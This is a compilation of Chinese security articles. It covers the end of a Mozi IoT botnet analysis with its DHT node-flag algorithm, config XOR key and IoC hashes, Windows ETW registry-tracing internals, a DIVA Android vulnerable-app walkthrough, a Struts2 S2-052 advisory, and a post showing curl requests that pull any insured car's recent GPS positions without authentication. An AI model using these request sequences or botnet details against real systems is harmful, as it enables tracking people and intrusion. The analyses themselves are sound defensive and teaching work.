router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881
212.129.33.59:6881
82.221.103.244:6881
130.239.18.159:6881
87.98.162.88:6881
* Config文件中[nd]指定
#### ID生成
ID20字节，由样本内嵌的prefix(888888)或config文件[hp]指定的prefix，加随机生成的字串构成。
#### 结点识别
为了快速区分流量，Mozi使用1:v4:flag(4 bytes)这样的标识来识别流量是否由其结点发出，
flag字节含义如下，
flag(4 bytes)
---------------------------------------------- offset:
0 -----random
1 ----- hard-code(0x42) or from [ver]
2 -----calc by algorithm
3 -----calc by algorithm
第１个字节是随机产生的，第２个字节是硬编码的0x42或由config文件中[ver]字段指定。
第3,４字节由算法得来，
ver algorithm
---------------------------------------------- int first,sec;
string ver="\x31\x3a\x76\x34\x3a\x00\x00"s;
cout << "Please input the two number: (0x00-0xff)" << endl;
cin.unsetf(ios::hex);
cin >> hex >> first >> sec;
ver[5] = char(first);
ver[6] = char(sec);
uint32_t va = 0;
for(int i = 0; i < 7; i++)
{
uint32_t tmp = int(ver[i]);
tmp = tmp << 8;
tmp ^= va;
int rnd = 8;
while (rnd--)
{
if ((tmp & 0xffff) > 0x8000)
{
tmp *= 2;
tmp ^= 0xffff8005;
}
else
tmp *= 2;
}
va = tmp&0xffff;
}
cout << hex << "Final " << va << endl;
> Please input the two number: (0x00-0xff)
> 0x44 0x42
> Final 1f71
> 输入0x44 0x42,得到0x1f71,和数据包里结果一致。
#### 网络请求
Mozi节点收到的网络请求可以分成２大类，DHT请求和非DHT请求。依据前文所述的节点识别，DHT请求分为Mozi-DHT请求,非Mozi-DHT请求。Mozi支持ping,find_node,get_peers３种。对于非DHT请求，依据网络数据包长度大于99与否分成２种。
Mozi将不同的请求编号如下所示，不同的请求有不同的处理逻辑
* 编号２： ping ，DHT请求，按标准DHT流程处理直接回复pong。
* 编号3：find_node，DHT请求。
* 编号4：get_peers，DHT请求。
Mozi
将find_node,get_peers合二为一，如果请求来自Mozi节点，有一定的概率把自身的Config内容发送给对方;如果来请求来自非Mozi节点，则按标准DHT的流程处理。
原始数据内容(节选前128字节):
00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|
00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|
00000020 35 3a 6e 6f 64 65 73 36 32 34 3a 15 15 29 d2 f3 |5:nodes624:..)Òó|
00000030 a3 f7 0c fe df 1a 5d bd 3f 32 46 76 5e 62 b7 b8 |£÷.þß.]½?2Fv^b·¸|
00000040 f0 94 78 a2 c4 37 5b 8e 2c 00 0b 20 12 07 e7 f4 |ð.x¢Ä7[.,.. ..çô|
00000050 bc dc 19 a2 83 2e 67 fb 7a 5e 50 22 07 75 e8 ef |¼Ü.¢..gûz^P".uèï|
00000060 f9 93 4a e9 91 75 36 e4 76 57 4b 7c 51 7c ff f5 |ù.Jé.u6ävWK|Q|ÿõ|
00000070 f5 c4 57 f9 dc 62 35 b4 6a 5d 18 6b 54 3c ed e1 |õÄWùÜb5´j].kT<íá|
00000080 a1 c8 56 a3 cf 28 6b fa 14 06 1a 3e 3b 01 a0 e3 |¡ÈV£Ï(kú...>;. ã|
加密的Config位于"5:nodes624:"之后，使用xor key(4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E) 解密后:
原始数据部分：
00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|
00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|
00000020 35 3a 6e 6f 64 65 73 36 32 34 3a |5:nodes624:
Config部分:
00000000 5b 73 73 5d 73 6b 5b 2f 73 73 5d 5b 68 70 5d 38 |[ss]sk[/ss][hp]8|
00000010 38 38 38 38 38 38 38 5b 2f 68 70 5d 5b 63 6f 75 |8888888[/hp][cou|
00000020 6e 74 5d 68 74 74 70 3a 2f 2f 69 61 2e 35 31 2e |nt]http://ia.51.|
00000030 6c 61 2f 67 6f 31 3f 69 64 3d 32 30 31 39 38 35 |la/go1?id=201985|
00000040 32 37 26 70 75 3d 68 74 74 70 25 33 61 25 32 66 |27&pu=http%3a%2f|
* 编号5：announce_peer，不支持
* 编号6：非DHT请求，数据包长<99字节，当节点收到此请求，会将自身的config内容发送给请求方。
* 编号7：非DHT请求，数据包长>99字节，当节点收到此请求，说明收到的数据为加密的Config文件，执行流程参照前文。
## 处置建议
我们建议用户及时更新补丁，并根据Mozi Botnet创建的进程，文件名以及HTTP,DHT网络连接特征，判断是否被感染，然后清理它的相关进程和文件。
相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。
## 联系我们
感兴趣的读者，可以在 [twitter](https://twitter.com/360Netlab) 或者在微信公众号 360Netlab 上联系我们。
## IoC list
样本MD5:
eda730498b3d0a97066807a2d98909f3
849b165f28ae8b1cebe0c7430f44aff3 | 社区文章 |
# ETW注册表监控windows内核实现原理
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Window 7以及以上系统的ETW日志自带了一个注册表日志信息的输出，在windows事件查看器的Microsoft Windows Kernel
Registry /
Analytic可以看到并且开启或者关闭注册表日志，它的监控操作包括CreateKey_Opt、OpenKey_Opt、DeleteKey_Opt、QueryKey_Opt、SetValueKey_Opt、DeleteValueKey_Opt、QueryValueKey_Opt监控的输出数据包括根据每个不同的操作它的内容也不一样，例如
CreateKey_Opt
mName = 0x000001e0ca423d30 L"BaseObject": ulongptr
mName = 0x000001e0ca423d30 L"KeyObject" : ulongptr
mName = 0x000001e0ca423da8 L"Status" ULONG32
mName = 0x000001e0ca423e20 L"Disposition" ULONG32
mName = 0x000001e0ca423e98 L"BaseName" 2
mName = 0x000001e0ca423f10 L"RelativeName" 0x82
SetValueKey_Opt
mName = 0x0000025ea4054208 L"KeyObject" ulongptr
mName = 0x0000025ea4054280 L"Status" ULONG32
mName = 0x0000025ea40542f8 L"Type" ULONG32
mName = 0x0000025ea4054370 L"DataSize" ULONG32
mName = 0x0000025ea40543e8 L"KeyName" 2
mName = 0x0000025ea4054460 L"ValueName" char*
mName = 0x0000025ea40544d8 L"CapturedDataSize" 2
mName = 0x0000025ea4054550 L"CapturedData" 0
mName = 0x0000025ea40545c8 L"PreviousDataType" ULONG32
mName = 0x0000025ea4054640 L"PreviousDataSize" ULONG32
mName = 0x0000025ea40546b8 L"PreviousDataCapturedSize" 2
mName = 0x0000025ea4054730 L"PreviousData" 0
DeleteValueKey_Opt
mName = 0x000001f3275e5c28 L"KeyObject" ulongptr
mName = 0x0000025ea4054280 L"Status" ULONG32
mName = 0x0000025ea40543e8 L"KeyName" 2
mName = 0x000001f3275e5d90 L"ValueName"
DeleteKey_Opt
mName = 0x000001f3275e5c28 L"KeyObject" ulongptr
mName = 0x0000025ea4054280 L"Status" ULONG32
mName = 0x0000025ea40543e8 L"KeyName" 2
更多具体的数据，读者可以自行去研究我们今天讲解的不是他的具体使用方法，而是windows内核是怎么样实现输出这些数据的。
Windows的内核程序ntoskrnl.exe初始化的时候会启动和初始化很多信息，启动ETW组件就是启动一项内容，在void __fastcall
EtwInitialize(unsigned int Phase)的函数里，最下面有几个调用了EtwRegister函数去注册一些Etw事件，如下
我们可以看到EventTracingProvGuid、KernelProvGuid、NetProvGuid、DiskProvGuid等等一些日志事件，在这些注册之间还有一个函数EtwpInitializeRegTracing()，这个是初始化注册注册表事件的函数，跟进去继续追踪，实现很简单
int __cdecl EtwpInitializeRegTracing()
{
return EtwRegister(
(_GUID *)&RegistryProvGuid,
(void (__cdecl *)(_GUID *, unsigned int, char, unsigned __int64, unsigned __int64, _EVENT_FILTER_DESCRIPTOR *, void *))EtwpRegTraceEnableCallback,
0i64,
&EtwpRegTraceHandle);
}
RegistryProvGuid 就是注册表的事件的id ：
{ _ **70eb4f03**_ – _ **c1de**_ – _ **4f73**_ – _ **a051**_ – _
**33d13d5413bd**_
注册的回调函数是 **EtwpRegTraceEnableCallback** ，注册得到的句柄是： **EtwpRegTraceHandle**
，最后内核也是通过 **EtwWrite** 写句柄 **EtwpRegTraceHandle** 来输出日志。
**注意知识讲解点** ：
查询MSDN库，EtwRegister定义如下：
NTSTATUS EtwRegister(
LPCGUID ProviderId,
PETWENABLECALLBACK EnableCallback,
PVOID CallbackContext,
PREGHANDLE RegHandle
);
**EnableCallback** 是应用层调用 **EnableTrace**
后，内核会把应用层传入的CallbackContext参数传输给EnableCallback的回调，PETWENABLECALLBACK定义如下：
void Etwenablecallback(
LPCGUID SourceId,
ULONG ControlCode,
UCHAR Level,
ULONGLONG MatchAnyKeyword,
ULONGLONG MatchAllKeyword,
PEVENT_FILTER_DESCRIPTOR FilterData,
PVOID CallbackContext
)
ControlCode就是True or false的开关
Level是日志等级
MatchAnyKeyword 和 MatchAllKeyword是两个过滤keyword id
FilterData 这个参数只有windows 7或者以上系统才有的参数，是应用层通过EnableTraceEx或者
EnableTraceEx2来传入的参数。
接下来我们继续看 **EtwpRegTraceEnableCallback** 回调函数的实现
当应用层开启Enable日志的时候，即ControlId =
True时，回调函数内部会通过CmRegisterCallbackEx函数注册注册表过滤回调EtwpRegTraceCallback，注册成功后，全局变量EtwpRegTracingEnabled会设置为True，如果ControlId
= False时，即关闭日志，会调用CmUnRegisterCallback注销回调函数。
**注意** ：
if ( FilterData && FilterData->Size == 4 )
EtwpRegTraceOptions = *(unsigned int *)FilterData->Ptr;
这两句代码，这是一个 **未文档化隐含的“技能”**
，当设置过滤数据后，就会设置EtwpRegTraceOptions的全局值，设置不同的数值会输出不同的数据，默认是0，当EtwpRegTraceOptions为0时内核只会输出一些基本的key
、 value 、 Type值，但不会输出一些很具体的设置的CaptureData数据。
接下来我们看EtwpRegTraceCallback函数
这里是组装QueryValueKey_Opt的数据，注意EtwpRegTraceOptions &
2就如前所讲EtwpRegTraceOptions有2的标志位就会再次组装注册表里查询的KeyValueData，注意这个大小最多只给你2048个字节
if ( EtwpRegTraceOptions & 4 )
EtwpCapturePreviousRegistryData((_REG_SET_VALUE_KEY_INFORMATION *)Argument2);
如果EtwpRegTraceOptions参数包含4的时候就会输出设置之前的ValueData,(但是这里却没有设置输出最大值，有点奇怪)。
其他类型就不集体讲解了，一样的方式，在内核里有如下定义
后面那个一串数据80000000000010000000200410000001是当前MatchKeyWord，如之前所讲应用层可以通过EnableTrace/EnableTraceEx/EnableTraceEx2的keyword参数设置输出不同的数据。
最后组合起来的数据会通过EtwWrite函数写句柄EtwpRegTraceHandle，哪个实例注册了这个事件id，Etw的组件就会把这个数据输出给实例。
下面我们写个程序去展示下获取这个日志输出，(怎样创建Etw不再讲解)，
ULONG64 KeyWord = (ULONG64)((CreateKey_Keyword |
DeleteKey_Keyword |
SetValueKey_Keyword |
DeleteValueKey_Keyword) & 0xFFFF);
EVENT_FILTER_DESCRIPTOR EnableFilterDesc = {0};
ULONG64 dwVal = 0x02;
UCHAR Level = EVENT_CONTROL_CODE_ENABLE_PROVIDER;
Level = EVENT_CONTROL_CODE_ENABLE_PROVIDER;
EnableFilterDesc.Ptr = (ULONGLONG)&dwVal;
EnableFilterDesc.Size = 4;
EnableTraceEx(
&RegistryProvGuid,
0,
m_Session,
Level,
TRACE_LEVEL_VERBOSE,
KeyWord,
0,
0,
&EnableFilterDesc
);
**注意我设置定义了** EnableFilterDesc的其他把EnableFilterDesc. _Size_ =
4，和dwVal设置为2，就是之前讲解的要windows注册表内核去设置EtwpRegTraceOptions参数，
运行后，可以看到内核输出的日志信息
KeyName：
ValueName：
当前操作是SetValueKey，设置的Data
输出了CaptureData数据，大小1460,数据如下
这里也输出了设置之前的data
至此内核里如何实现注册表Etw日志的原理讲解以及实例展示完毕，整个结构很简单，可以不用自己去专门写个注册表驱动去实现监测了，微软已经为我们提供一套完整的解决方案，只是更多未文档化的细节需要去发现。 | 社区文章 |
# 【技术分享】Android App常见安全问题演练分析系统-DIVA-Part1
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://resources.infosecinstitute.com/cracking-damn-insecure-and-vulnerable-app-diva-part-1/#article >
译文仅供参考，具体内容表达以及含义原文为准。
**作者 ：[nx4dm1n ](http://bobao.360.cn/member/contribute?uid=116160120)**
**稿费：300RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**传送门**
[**【技术分享】Android App常见安全问题演练分析系统-DIVA-Part2**](http://bobao.360.cn/learning/detail/3048.html)
**
**
**I. 什么是DIVA**
DIVA(Damn insecure and vulnerable App)是一个故意设计的存在很多漏洞的Android
app，目的是为了让开发、安全工程师、QA等了解Android app常见的一些安全问题，类似dvwa，也可以把它当成一个漏洞演练系统。
为了 **使用DIVA熟悉各种常见的app安全问题** ，需要做一些准备工作。
**准备工作：**
1，安装JDK，很多工具需要用到java环境；
2，安装Android开发工具(ADT，Android studio)，下载地址：
<https://developer.android.com/studio/index.html>
主要包括SDK管理器，安卓虚拟设备管理器(Android Virtual
Device,AVD)等，并且集成了adb、emulator等常用工具。dex2Jar、adb是Android
app测试常用到的工具，emulator是ADT自带的模拟器，可以模拟Android环境。
3，安装APKtool、Drozer、dex2jar、JD-GUI
Apktoolss下载地址：<https://bitbucket.org/iBotPeaches/apktool/downloads>
Drozer下载地址：<https://labs.mwrinfosecurity.com/tools/drozer/>
Dex2jar下载地址：<https://sourceforge.net/projects/dex2jar/?source=typ_redirect>
JD-GUI下载地址：<http://jd.benow.ca/>
首先运行Android模拟器，可以使用如下命令：
#列出已经建立好的AVD，也就是模拟器
her0ma@localhost:~/software/SDK/tools$ ./emulator -list-avds
Nexus_4
Nexus_5X_API_19
Nexus_6
#启动模拟器，-avd参数指定模拟器的名称
her0ma@localhost:~/software/SDK/tools$ ./emulator -avd Nexus_4
4，下载并安装DIVA，下载地址： <http://www.payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz>
使用adb安装DIVA app到模拟器，命令如下：
her0ma@localhost:~/software/SDK/platform-tools$ ./adb install /Users/her0ma/software/diva-beta.apk
[100%] /data/local/tmp/diva-beta.apk
pkg: /data/local/tmp/diva-beta.apk
Success
如果开启了多个模拟器，可以用-s参数来指定具体要安装到那台模拟器。
5，打开已经安装好的DIVA app，如图所示:
**II. 反编译App**
****
对Android app进行静态分析是一种常见的漏洞查找方式，可以使用Dex2Jar获取app的.java文件。命令如下：
her0ma@localhost:~/software/dex2jar$ sudo ./d2j-dex2jar.sh /Users/her0ma/software/diva-beta.apk
dex2jar /Users/her0ma/software/diva-beta.apk -> ./diva-beta-dex2jar.jar
会在工具同目录下生成一个.jar文件，可以用JD-GUI工具直接打开diva-beta-dex2jar.jar文件
**III. 使用apktool获取smail代码**
****
Android
app静态分析的时候，可以通过AndroidManifest.xml文件来了解app及其内部结构的一些信息，可以使用apktool获取这个文件以及smali代码，如图：
使用到的命令：
her0ma@localhost:~/software/SDK/tools$ java -jar apktool_2.2.0.jar d /Users/her0ma/software/diva-beta.apk -o 360bobao
I: Using Apktool 2.2.0 on diva-beta.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/her0ma/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
会将提取出来的xml以及smali文件输出到360bobao这个目录。
**IV. 问题1：不安全的日志输出**
****
该问题主要是由于app代码中将敏感信息输出到app的logcat中，查看app记录的logcat，可以使用如下命令：
her0ma@localhost:~/software/SDK/platform-tools$ ./adb logcat
然后在app的表单中输入内容，check out就可以看到相关的日志输出：
09-20 20:09:16.631 1538 1598 D ConnectivityService: NetworkAgentInfo [MOBILE (UMTS) - 101] validation failed
09-20 20:09:43.466 2557 2557 E diva-log: Error while processing transaction with credit card: 6225880111111111
09-20 20:09:43.613 1198 1583 D AudioFlinger: mixer(0xf4580000) throttle end: throttle time(154)
09-20 20:09:45.474 2557 2570 E Surface : getSlotFromBufferLocked: unknown buffer: 0x7f18601fd050
可以看出用户输入的内容被输出到了日志中，看看具体的漏洞代码，用JD-GUI打开LogActivity.class文件，相关代码如图：
下面这行代码就是将用户输入的内容记录到了logcat中。
Log.e("diva-log", "Error while processing transaction with credit card: " + paramView.getText().toString());
**
**
**V. 问题2：硬编码问题**
****
很多开发小伙伴在开发app的时候，明明是可以用可变变量的，但是由于没有相关安全开发意识，使用了硬编码的方式，导致存在一定的安全风险。具体有关硬编码的定义可以参考百度，开发人员在开发的过程中应该尽量避免使用硬编码。先看看问题2涉及到的代码HardcodeActivity.class，JD-GUI打开，相关代码如下：
public void access(View paramView)
{
if (((EditText)findViewById(2131492987)).getText().toString().equals("vendorsecretkey"))
{
Toast.makeText(this, "Access granted! See you on the other side :)", 0).show();
return;
}
Toast.makeText(this, "Access denied! See you in hell :D", 0).show();
}
秘钥被明文写在了代码中，通过判断用户的输入是否和代码中的明文秘钥相同，来确定是否允许访问，对应代码：
if (((EditText)findViewById(2131492987)).getText().toString().equals("vendorsecretkey"))
攻击者只需要在app中输入秘钥就可以访问成功，如图：
后文中会继续讨论有关硬编码的问题。
**VI. 问题3：不安全的数据存储**
****
不安全的数据存储也是App常见的安全问题之一，主要有三种方式：
1，将敏感数据保存到配置文件中；
2，将敏感数据保存在本地的sqlite3数据库中；
3，将敏感数据保存在临时文件或者sd卡中。
在DIVA中关于此项问题的案例主要是3、4、5、6，首先看敏感数据存储在配置文件中的情况，对应的漏洞代码文件InsecureDataStorage1Activity.class，继续用JG-GUI打开，漏洞代码片段如下：
public void saveCredentials(View paramView)
{
paramView = PreferenceManager.getDefaultSharedPreferences(this).edit();
EditText localEditText1 = (EditText)findViewById(2131493000);
EditText localEditText2 = (EditText)findViewById(2131493001);
paramView.putString("user", localEditText1.getText().toString());
paramView.putString("password", localEditText2.getText().toString());
paramView.commit();
Toast.makeText(this, "3rd party credentials saved successfully!", 0).show();
}
上面问题代码中，使用了SharedPreferences类，该类是Android平台上一个轻量级的存储类，主要是用来保存一些常用的配置，本例中是用该类存储了用户名和密码，因此是具有风险的。SharedPreferences类存储的数据会以.xml的形式存储在/data/data/apppackagename/shared_prefs目录下。如图：
#adb shell进入到模拟器的shell模式下
her0ma@localhost:~/software/SDK/platform-tools$ ./adb shell
#app安装之后会在/data/data下有相关的数据目录，保存缓存、配置文件等。
root@generic_x86_64:/ # cd /data/data/
root@generic_x86_64:/data/data # ls |grep diva
jakhar.aseem.diva
root@generic_x86_64:/data/data/jakhar.aseem.diva # ls
cache
code_cache
databases
shared_prefs
root@generic_x86_64:/data/data/jakhar.aseem.diva/shared_prefs # ls
jakhar.aseem.diva_preferences.xml
#在配置文件中看到了app中用户输入的账号和密码。
root@generic_x86_64:/data/data/jakhar.aseem.diva/shared_prefs # cat jakhar.aseem.diva_preferences.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="user">admin</string>
<string name="password">admin</string>
</map>
另外一种不安全的数据库存储，是将用户的敏感信息存储到本地的数据库中，一般app对应的数据库目录:
/data/data/apppackagename/databases，本例中是：
/data/data/jakhar.aseem.diva/databases，如图先在4中保存一下数据：
adb pull将模拟器中的文件拉倒本地
her0ma@localhost:~/software/SDK/platform-tools$ ./adb pull /data/data/jakhar.aseem.diva/databases/ids2 /Users/her0ma/software/
[100%] /data/data/jakhar.aseem.diva/databases/ids2
用sqlite3数据库打开，可以查看到用户存储的敏感数据
her0ma@localhost:~/software$ file ids2
ids2: SQLite 3.x database
her0ma@localhost:~/software$ sqlite3 ids2
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
sqlite> .tables
android_metadata myuser
sqlite> select * from myuser；
zhangsan|p@ssw0rd
对应的漏洞文件InsecureDataStorage2Activity.class代码片段如下：
public void saveCredentials(View paramView)
{
paramView = (EditText)findViewById(2131493003);
EditText localEditText = (EditText)findViewById(2131493004);
//将用户提交的数据保存在了数据库中
try
{
this.mDB.execSQL("INSERT INTO myuser VALUES ('" + paramView.getText().toString() + "', '" + localEditText.getText().toString() + "');");
this.mDB.close();
Toast.makeText(this, "3rd party credentials saved successfully!", 0).show();
return;
}
catch (Exception paramView)
{
for (;;)
{
Log.d("Diva", "Error occurred while inserting into database: " + paramView.getMessage());
}
}
}
还有一种不安全的数据存储，是将数据存储在临时文件或者sd卡中，看对应的漏洞文件分别是InsecureDataStorage3Activity.class、InsecureDataStorage3Activity.class的相关代码片段如图：
存储在临时文件中，
存储在sd卡中，漏洞代码片段：
**传送门**
* * *
[**【技术分享】Android App常见安全问题演练分析系统-DIVA-Part2**](http://bobao.360.cn/learning/detail/3048.html) | 社区文章 |
作者：启明星辰ADLab
#### 漏洞描述
2017年9月5日，Apache Struts发布最新安全公告，Apache
Struts2的REST插件存在远程代码执行的高危漏洞，该漏洞由lgtm.com的安全研究员汇报，漏洞编号为CVE-2017-9805（S2-052）。Struts2
REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，存在安全隐患，可被远程攻击。
相关链接如下：
<https://cwiki.apache.org/confluence/display/WW/S2-052>
<https://lgtm.com/blog/apache_struts_CVE-2017-9805>
#### 补丁分析
在Struts2官方github上下载最新代码，发现 `org.apache.struts2.rest.handler`
这个包下多了几个类文件，分别为AbstractContentTypeHandler、AllowedClasses、AllowedClassNames、XStreamPermissionProvider
，如下图所示：
XStreamHandler类修改了createXStream方法，同时增加了几个方法，作用是拒绝不安全的类执行。如下图所示：
由补丁可以发现REST插件将XStream处理的数据进行了处理，在调用 `“xstream.fromXML(in, target);”`
反序列化之前对其进行了检查。
#### 漏洞分析
根据补丁分析，
构造相对应的漏洞检测数据包。使用调试工具分析，发现Action经过REST插件处理时会被ContentTypeInterceptor这个类拦截，进入intercept方法如下图所示：
这个Intercept拦截方法很重要，分三步：
第一步：getHandlerForRequest方法会判断提交的请求类型，如果是XML的话就交给XStreamHandler调用toObject方法
第二步：如果浏览器提交的数据包长度大于0的话就获取其输入流，然后将数据包生成一个InputStreamReader对象也就是reader
第三步：调用XStreamHandler的toObject方法将reader数据流进行xml反序列化。
如下图所示：
结合之前对补丁的分析，这里XStream并没有对reader的内容进行验证，导致反序列化漏洞。
#### 漏洞复现
Struts2
REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，可直接在数据包中插入恶意代码，导致服务器被攻陷。漏洞复现如下图所示：
可以看到服务器回显错误，但是已经成功执行了系统命令。证明漏洞存在，并且通过远程即可实现攻击。
#### 受影响的版本
Apache Struts Version：Struts 2.5 - Struts 2.5.12
#### 规避方案
* 升级Struts到2.5.13最新版本。
* 在不使用时删除Struts REST插件，或仅限于服务器普通页面和JSONs `<constant name="struts.action.extension" value="xhtml,,json" />`
* 部署启明星辰web应用防火墙 <http://www.venustech.com.cn/SafeProductInfo/413/39.Html>
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# 【汽车安全】你知道汽车卫星定位设备是如何泄露你的位置信息的么？
|
##### 译文声明
本文是翻译文章，文章来源：andreascarpino.it
原文地址：<https://www.andreascarpino.it/posts/how-my-car-insurance-exposed-my-position.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **陈匡kk**](http://bobao.360.cn/member/contribute?uid=2818953166)
**预估稿费：170RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
很多汽车保险公司为你提供卫星定位设备，用户可以把卫星定位设备安装到私家车上，那在任何时间和地点，都可以追踪你的私家车位置。
当安装了卫星定位设备，汽车保险公司可随时知道你的车到过什麽地方。当然，如果你的私家车被贼人偷了，警方可通过卫星定位更有效找回你的私家车。
汽车保险公司还会提供专门的APP，即使你看不到你的私家车，也能透过手机上的APP知道你的私家车状况。
接着，我下载了汽车保险公司的安卓版APP，不幸地，APP需要Google
Play服务才可以正常运行。我是一个自由及开放源代码软件传播人，我尝试使用开放源代码APP来运行保险公司的APP，而不使用Google Play服务。
幸然，我还是一个软件开发者。现在，我开始分析保险公司APP的APIs，然後使用mitmproxy中间人代理软件，来开发一个适用于保险公司APP的客户端代码。
**授权**
当运行保险公司APP时，用户需要授权APP存取你的卫星定位设备位置。
当一开始授权时，APP会要求输入你的身份证号码。我填写了我的身份证号码，APP就运行以下的代码：
curl -X POST -d 'BLUCS§<taxpayers_code>§-1' http://<domain>/BICServices/BICService.svc/restpostcheckpicf<company>
接着，网页伺服器端作出请求响应，并存取了你的手机号码：
2§<international_calling_code>§<cell_phone_number>§-1
当看到这些凌乱的代码，得知APP是使用HTTP请求响应，代码的第一个和最後一个叁数是常量，而这代码只需要两个叁数就获得我的手机号码。假如我输入不存在的身份证号码，会得到以下代码：
-1§<international_calling_code>§§-100%
然後，我需要确认手机号码是否正确。接着，我需要输入密码。在之前，我已经透过电邮，向保险公司发送了我预设的密码。输入密码后，APP就运行以下代码：
curl -X POST -d 'BLUCS§<taxpayers_code>§<device_imei>§<android_id>§<device_brand>-<device_model>_unknown-<api_platform>-<os_version>-<device_code>§<cell_phone_number>§2§<password>§§-1' http://<domain>/BICServices/BICService.svc/restpostsmartphoneactivation<company>
接着网页伺服器端作出以下响应：
0§<some_code>§<my_full_name>
这叁数<some_code>每次都会改变，这看来是用作识别客户端的ID。当完成这阶段操作，APP就得到授权，全面存取私家车的所有数据。
**追踪私家车位置**
我开始实现追踪汽车的功能，这功能可以存取20个私家车最近到访过的地点。现在开始分析APP是怎样存取数据：
curl -X POST -d 'ASS_NEW§<car_license>§2§-1' http://<domain>/BICServices/BICService.svc/restpostlastnpositions<company>
网页伺服器端作出以下响应：
0§20§<another_code>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state><city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>
没有header头，没有cookie，没有授权认证？！
没错，你的猜想是对的。你只要有私家车的license许可证，就可以存取该私家车的20个最近到访地点。那<another_code>有什麽用途，我将会在下文解译。
我一开始以为，伺服器储存了我的IP地址，并授权了我的IP地址可储存该私家车的地点数据。但是，我尝试使用VPN连接伺服器，居然也能成功存该私家车的地点数据。
然後，我尝试输入不存在的私家车license许可证，得到以下响应：
-2§TARGA NON ASSOCIATA%
这表示：数据库没有该私家车的license许可证
那麽我们如何获得其他私家车的license许可证，这很容易实现。所有的私家车license许可证都储存在保险公司的数据库，而且这些数据还包括了该车最近到访过的20个地点。
**网页客户端**
汽车保险公司还提供了网页端，这网页端提供了更多功能给用户。我登入了网页并开始分析，发现网页有几个不同的域名，并且在任何请求响应中，都会使用到用户的cookie。有一个请求响应值得我关注的，是该请求响应不需要任何认证
curl http://<domain>/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&ID=<another_code>&TARGA=<car_license>&CONTRATTO=<foo>&VOUCHER=<bar>
在伺服器请求响应後，网页客户端显示的HTML页面：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>NewRemoteAuthentication</title>
<meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1" />
<meta name="CODE_LANGUAGE" Content="C#" />
